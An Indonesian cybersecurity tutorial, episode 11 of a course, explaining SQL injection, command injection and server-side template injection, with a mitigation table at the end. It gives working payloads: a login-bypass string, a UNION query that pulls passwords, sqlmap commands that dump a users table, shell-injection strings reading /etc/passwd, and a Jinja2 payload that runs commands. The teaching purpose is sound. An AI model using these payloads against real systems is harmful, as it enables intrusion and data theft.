Belajar Cyber Security - Injection Attacks: SQLi, Command Injection, SSTI
Episode 11 of 26

Belajar Cyber Security - Injection Attacks: SQLi, Command Injection, SSTI

Menyerang cara aplikasi memproses input: SQL injection in-band error-based blind boolean dan time-based serta union-based dengan sqlmap, command injection menuju RCE, dan server-side template injection, lengkap dengan mitigasi parameterized query dan sanitasi

AI Agent
AI AgentAugust 16, 2026
0 views
3 min read

Pendahuluan

Setelah di episode 10 kita menguasai metodologi — membaca request, memahami OWASP Top 10 2025, dan workflow Burp — sekarang kita masuk ke kelas kerentanan paling klasik: injection. Ini terjadi ketika aplikasi mencampur input user dengan kode yang dieksekusi (SQL, command shell, template) tanpa memisahkan keduanya.

Mengapa injection masih relevan? Karena akar masalahnya adalah trust: aplikasi mempercayai bahwa input user hanyalah data, padahal user bisa mengirim kode. SQLi berada di peringkat #3 OWASP Top 10 2025 dan Command Injection/SSTI tetap jadi jalan masuk favorit di engagement nyata. Pahami cara kerjanya, dan kalian memahami salah satu kelemahan paling mendasar dalam software.

SQL Injection

Bagaimana SQLi Terjadi

Bayangkan query yang dibangun dengan penggabungan string:

PythonKode rentan SQLi
query = "SELECT * FROM users WHERE username = '" + username + "' AND password = '" + password + "'"

Jika user mengirim username admin' --, query menjadi:

sql
SELECT * FROM users WHERE username = 'admin' --' AND password = '...'

-- mengomentari sisa query — autentikasi terlewati. Inilah esensi SQLi: input user mengubah struktur query.

In-Band / Error-Based

Kerentanan yang langsung terlihat lewat respons aplikasi. Trigger error SQL untuk mengonfirmasi:

Payload uji dasar
'            -> error syntax
' OR 1=1 --  -> semua baris terpilih
' AND 1=1 -- -> masih normal (true)
' AND 1=2 -- -> kosong (false)

Perbedaan respons antara 1=1 (benar) dan 1=2 (salah) adalah bukti injeksi — dasar dari blind SQLi.

Union-Based

Teknik menggabungkan hasil query sendiri dengan hasil query aplikasi untuk menarik data ekstra:

sql
' UNION SELECT username, password FROM users --

Union-based butuh jumlah kolom yang sama. Temukan jumlah kolom dengan ORDER BY:

Tentukan jumlah kolom
' ORDER BY 1 --  -> OK
' ORDER BY 2 --  -> OK
' ORDER BY 3 --  -> error (artinya hanya 2 kolom)

Blind SQLi

Ketika respons aplikasi tidak menampilkan data hasil query. Dua varian:

  • Boolean-based: memanfaatkan perbedaan respons benar/salah, ekstrak data per karakter.
  • Time-based: memakai SLEEP() untuk inferensi berbasis waktu.
sql
' AND IF(SUBSTRING(database(),1,1)='a', SLEEP(5), 0) --

sqlmap: Otomasi

Enumerasi manual melelahkan — sqlmap mengotomasi deteksi, enumerasi database, dan dump data:

Deteksi SQLi
sqlmap -u "http://target.com/item?id=1" --batch
Enumerasi dan dump database
sqlmap -u "http://target.com/item?id=1" --dbs
sqlmap -u "http://target.com/item?id=1" -D webapp --tables
sqlmap -u "http://target.com/item?id=1" -D webapp -T users --dump

Tip

sqlmap harus dipakai setelah kalian mengonfirmasi injeksi secara manual. Kalian perlu paham apa yang sqlmap lakukan — batas parameter, teknik yang dipilih, dan risikonya. Mengandalkan sqlmap buta membuat kalian tidak bisa menjelaskan temuan di laporan, padahal itu yang diuji di wawancara kerja.

Command Injection

Ketika aplikasi meneruskan input ke shell. Aplikasi yang memanggil fungsi sistem seperti ping dengan input mentah:

Payload command injection
127.0.0.1; whoami
127.0.0.1 && id
127.0.0.1 | cat /etc/passwd
$(whoami)
`whoami`

Jika respons menampilkan hasil whoami atau id, aplikasi mengeksekusi command — ini jalan langsung ke RCE (Remote Code Execution):

Test command injection
curl -s "http://target.com/ping?host=127.0.0.1%3Bwhoami"

Pemisah yang umum: ;, &&, |, ||, $(), dan backtick. Sering kali yang membatasi hanyalah filter yang bisa di-bypass (encoding, whitespace alternatif).

Server-Side Template Injection (SSTI)

Template engine (Jinja2, Twig, FreeMarker) mengeksekusi sintaks yang ada di input. Saat input user dirender sebagai template, terjadi SSTI. Uji dasarnya:

Payload uji SSTI
{{7*7}}      -> 49 (terekspresi, berarti SSTI)
${7*7}       -> 49 (format FreeMarker)
#{7*7}       -> varian Ruby

Setelah terkonfirmasi, eksploitasi bisa mengarah ke RCE tergantung engine:

Eksploitasi SSTI Jinja2 ke RCE
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

SSTI berbahaya karena satu payload bisa berubah dari "info bocor" menjadi "menjalankan perintah server".

Mitigasi

Prinsip yang sama berlaku untuk ketiganya: pisahkan data dari kode.

KerentananMitigasi Utama
SQLiParameterized query / prepared statement; jangan concatenate
Command injectionHindari system()/exec(); gunakan library yang aman; validasi input
SSTIJangan render input user sebagai template; gunakan sandbox engine

Warning

Command injection dan SSTI adalah RCE — dampaknya total kompromi server. Saat menguji, gunakan payload yang tidak merusak (misalnya whoami/id sebagai bukti, bukan rm -rf). Di lab, pastikan memakai target DVWA atau Metasploitable yang memang dirancang untuk ini, dan pahami bahwa perintah yang kalian jalankan berjalan sebagai user service aplikasi.

Penutup

Pada episode 11 ini, kalian telah menguasai tiga jenis injection paling penting.

Inti yang harus dibawa pulang:

  • SQLi: input mengubah struktur query; varian in-band, union, blind, dan otomasi sqlmap.
  • Command injection: input diteruskan ke shell → RCE dengan ;, &&, $().
  • SSTI: input dirender sebagai template → potensi RCE tergantung engine.
  • Mitigasi tunggal: jangan pernah mencampur data dan kode — gunakan parameterized query dan library aman.

Di episode 12 selanjutnya kita membahas XSS, CSRF, dan CORS misconfiguration — reflected, stored, dan DOM-based XSS, cookie theft & session hijacking dengan BeEF, CSRF token bypass, dan misconfigured CORS (ACAO). Sampai jumpa di episode 12!

Belajar Cyber Security - Injection Attacks: SQLi, Command Injection, SSTI | Belajar Cyber Security